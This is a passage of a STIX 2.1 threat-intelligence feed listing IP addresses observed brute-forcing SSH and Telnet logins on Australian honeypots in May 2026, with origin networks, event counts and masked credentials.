      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 36866. Organisation(s): JTL.",
      "id": "indicator--1cd6b145-256c-4c9d-a0d7-0230fcffb979",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '197.232.249.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T17:15:12.000Z",
      "valid_until": "2026-06-26T17:15:08.000Z"
    },
    {
      "created": "2026-05-25T17:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GR. ASN(s): 6799. Organisation(s): OTEnet S.A..",
      "id": "indicator--420c0532-f1bd-4055-b4c1-2a7712433454",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.87.57.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T17:15:12.000Z",
      "valid_until": "2026-06-26T17:15:08.000Z"
    },
    {
      "created": "2026-05-25T17:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--8d39a015-f6ea-4b1b-a275-4054bbbb1c0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.85.217.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T17:15:12.000Z",
      "valid_until": "2026-06-26T17:15:08.000Z"
    },
    {
      "created": "2026-05-25T17:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): a***n, ***, r**t. Passwords observed (masked): 1****0, n******3, ***.",
      "id": "indicator--7eb225bd-2f91-4e2c-a86f-49ff6fa64a54",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.68.226.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T17:15:12.000Z",
      "valid_until": "2026-06-26T17:15:08.000Z"
    },
    {
      "created": "2026-05-25T17:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 33915. Organisation(s): Vodafone Libertel B.V..",
      "id": "indicator--ed92e711-73f7-4b76-85ad-7820df71f32a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '83.82.116.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T17:15:12.000Z",
      "valid_until": "2026-06-26T17:15:08.000Z"
    },
    {
      "created": "2026-05-25T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd..",
      "id": "indicator--3735c4f1-0c54-4506-83cf-59b28f7372bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.126.135.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T18:15:10.000Z",
      "valid_until": "2026-06-26T18:15:08.000Z"
    },
    {
      "created": "2026-05-25T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--73503b26-c49b-4461-878c-d98697dbd753",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.130.251.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T18:15:10.000Z",
      "valid_until": "2026-06-26T18:15:08.000Z"
    },
    {
      "created": "2026-05-25T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4, m**r, t***e, u**r. Passwords observed (masked): 1****6, 3***********4, 3**********4, f****************4, f********************@.",
      "id": "indicator--5f3e6b80-b39b-4d18-8e11-e63a6a4a1c5e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '134.112.56.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T18:15:10.000Z",
      "valid_until": "2026-06-26T18:15:08.000Z"
    },
    {
      "created": "2026-05-25T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 142403. Organisation(s): YISU CLOUD LTD.",
      "id": "indicator--683831cb-6550-43e8-b55d-43f0fb7101f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.221.23.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T18:15:10.000Z",
      "valid_until": "2026-06-26T18:15:08.000Z"
    },
    {
      "created": "2026-05-25T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 30036. Organisation(s): Mediacom Communications Corp.",
      "id": "indicator--2259f2aa-515f-4094-b78a-dd29a874ba81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '173.16.37.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T18:15:10.000Z",
      "valid_until": "2026-06-26T18:15:08.000Z"
    },
    {
      "created": "2026-05-25T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KZ. ASN(s): 21299. Organisation(s): Kar-Tel LLC. Usernames observed (masked): r**t, 3**********4, g*******r, h***o, ***. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1****6, 1**************R.",
      "id": "indicator--76c30f92-d1ef-4802-963d-d4877954a247",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.124.88.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T18:15:10.000Z",
      "valid_until": "2026-06-26T18:15:08.000Z"
    },
    {
      "created": "2026-05-25T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie. Target ports: 23. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC. Usernames observed (masked): r**t. Passwords observed (masked): , r**t.",
      "id": "indicator--61ac9b91-2b81-4249-8eb2-03167dad236e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T18:15:10.000Z",
      "valid_until": "2026-06-26T18:15:08.000Z"
    },
    {
      "created": "2026-05-25T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 68. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MO. ASN(s): 4609. Organisation(s): Companhia de Telecomunicacoes de Macau SARL. Usernames observed (masked): r**t, 3**********4, c**l, ***, u****u. Passwords observed (masked): 3***********4, 3**********4, A*******!, a******a, f******************@.",
      "id": "indicator--de845fa0-f48d-44bd-8858-cdd22a516ff6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.93.7.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T18:15:10.000Z",
      "valid_until": "2026-06-26T18:15:08.000Z"
    },
    {
      "created": "2026-05-25T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--b8cf2cd4-940b-469e-8544-7b1db4bb9d43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T18:15:10.000Z",
      "valid_until": "2026-06-26T18:15:08.000Z"
    },
    {
      "created": "2026-05-25T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 22295. Organisation(s): Advin Services LLC. Usernames observed (masked): r**t. Passwords observed (masked): , r**t.",
      "id": "indicator--582a98d4-7037-4163-8338-17e28f4fa420",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '208.84.100.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T18:15:10.000Z",
      "valid_until": "2026-06-26T18:15:08.000Z"
    },
    {
      "created": "2026-05-25T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AM. ASN(s): 49800. Organisation(s): GNC-Alfa CJSC.",
      "id": "indicator--cdea36e3-ba94-4cb6-937f-844473f98613",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.186.119.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T18:15:10.000Z",
      "valid_until": "2026-06-26T18:15:08.000Z"
    },
    {
      "created": "2026-05-25T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 104. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 8473. Organisation(s): Bahnhof AB. Usernames observed (masked): r**t, 3**********4, c***d, c**l, ***. Passwords observed (masked): 1******8, !******z, !**********C, 1****6, 1**6.",
      "id": "indicator--272e93d4-a93c-484c-80c2-3cba71d903ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '158.174.211.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T19:15:11.000Z",
      "valid_until": "2026-06-26T19:15:08.000Z"
    },
    {
      "created": "2026-05-25T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--377583fe-8ec1-4d20-ae7f-38f80e0ab23f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.159.211.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T19:15:11.000Z",
      "valid_until": "2026-06-26T19:15:08.000Z"
    },
    {
      "created": "2026-05-25T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--9f00e13c-3f83-4c7f-8421-f82a33f02464",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.152.132.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T19:15:11.000Z",
      "valid_until": "2026-06-26T19:15:08.000Z"
    },
    {
      "created": "2026-05-25T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 51004. Organisation(s): Sakhalin Cable Telesystems Ltd.",
      "id": "indicator--f975c51f-f39d-4644-9be9-df1f3f0c5582",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.113.168.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T19:15:11.000Z",
      "valid_until": "2026-06-26T19:15:08.000Z"
    },
    {
      "created": "2026-05-25T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 122. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 15704. Organisation(s): Xtra Telecom S.A.. Usernames observed (masked): r**t, c***d, 3**********4, b**l, f******l. Passwords observed (masked): ***, 1**4, 1**************$, 3***********4, 3**********4.",
      "id": "indicator--758c9683-787e-4bee-a617-45ee3f879bea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.127.161.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T19:15:11.000Z",
      "valid_until": "2026-06-26T19:15:08.000Z"
    },
    {
      "created": "2026-05-25T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology.",
      "id": "indicator--1134fcba-f42d-4420-b060-473e2b7cbc12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T19:15:11.000Z",
      "valid_until": "2026-06-26T19:15:08.000Z"
    },
    {
      "created": "2026-05-25T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 189. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4, c***d, c**l, m***m. Passwords observed (masked): 3***********4, 3**********4, ***, 1**4, A*******..",
      "id": "indicator--0c8131c4-f37d-42ed-8327-ba3b65eadbef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.220.34.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T19:15:11.000Z",
      "valid_until": "2026-06-26T19:15:08.000Z"
    },
    {
      "created": "2026-05-25T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--dee185cb-1ba3-4e6f-b7c6-f79ba4772131",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T19:15:11.000Z",
      "valid_until": "2026-06-26T19:15:08.000Z"
    },
    {
      "created": "2026-05-25T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4, c**l, e****e, *. Passwords observed (masked): 3***********4, 3**********4, 1****6, 1*****b, D*****3.",
      "id": "indicator--cdec8519-f1a3-4f29-b4d3-3264b5f1998f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '221.156.126.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T19:15:11.000Z",
      "valid_until": "2026-06-26T19:15:08.000Z"
    },
    {
      "created": "2026-05-25T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--394dce79-7dc2-41dd-9353-84d470fda7b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '60.176.12.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T19:15:11.000Z",
      "valid_until": "2026-06-26T19:15:08.000Z"
    },
    {
      "created": "2026-05-25T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 232. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC. Usernames observed (masked): r**t, 3**********4, c**l, m***m, a***n. Passwords observed (masked): 3***********4, 3**********4, ***, 1**4, 1***5.",
      "id": "indicator--05670ad7-f5c5-4572-a066-7411f6e14c8e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.167.226.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T19:15:11.000Z",
      "valid_until": "2026-06-26T19:15:08.000Z"
    },
    {
      "created": "2026-05-25T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--264f258c-8eb2-40a4-882e-7d7f39dc0b73",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.221.73.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T20:15:10.000Z",
      "valid_until": "2026-06-26T20:15:08.000Z"
    },
    {
      "created": "2026-05-25T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2003. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, d****y, u****u, u**r, a***n. Passwords observed (masked): 1****6, 1**4, *, ***, p******d.",
      "id": "indicator--549fa9b2-702f-48d5-8617-6ab0c8843d97",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T20:15:10.000Z",
      "valid_until": "2026-06-26T20:15:08.000Z"
    },
    {
      "created": "2026-05-25T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CZ. ASN(s): 212238. Organisation(s): Datacamp Limited. Usernames observed (masked): r**t. Passwords observed (masked): C**********!.",
      "id": "indicator--13f3e344-4bcc-4096-bad6-efddabf02367",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.249.209.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T20:15:10.000Z",
      "valid_until": "2026-06-26T20:15:08.000Z"
    },
    {
      "created": "2026-05-25T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--71782c58-fa62-49c3-98d0-711e365dd4a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.123.124.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T20:15:10.000Z",
      "valid_until": "2026-06-26T20:15:08.000Z"
    },
    {
      "created": "2026-05-25T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--c0421b27-42f9-44bb-b182-294daff870ed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.233.106.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T20:15:10.000Z",
      "valid_until": "2026-06-26T20:15:08.000Z"
    },
    {
      "created": "2026-05-25T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MD. ASN(s): 207164. Organisation(s): Primanet Srl. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, r**t.",
      "id": "indicator--99e95c12-a137-442a-a5b6-37d990d2cbee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.15.225.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T20:15:10.000Z",
      "valid_until": "2026-06-26T20:15:08.000Z"
    },
    {
      "created": "2026-05-25T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 33070. Organisation(s): Rackspace Hosting. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--c097c10b-bcfe-4592-9267-dbb02007dfe3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '50.56.159.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T20:15:10.000Z",
      "valid_until": "2026-06-26T20:15:08.000Z"
    },
    {
      "created": "2026-05-25T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: EE. ASN(s): 207083. Organisation(s): Hostslim Ou. Usernames observed (masked): ***, a***n, m*****r, s**d, s*****t. Passwords observed (masked): O************Z, ***, a***n, m*****r, s**d.",
      "id": "indicator--23071f31-b805-4e77-9e08-0433e44e4bba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '69.12.83.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T20:15:10.000Z",
      "valid_until": "2026-06-26T20:15:08.000Z"
    },
    {
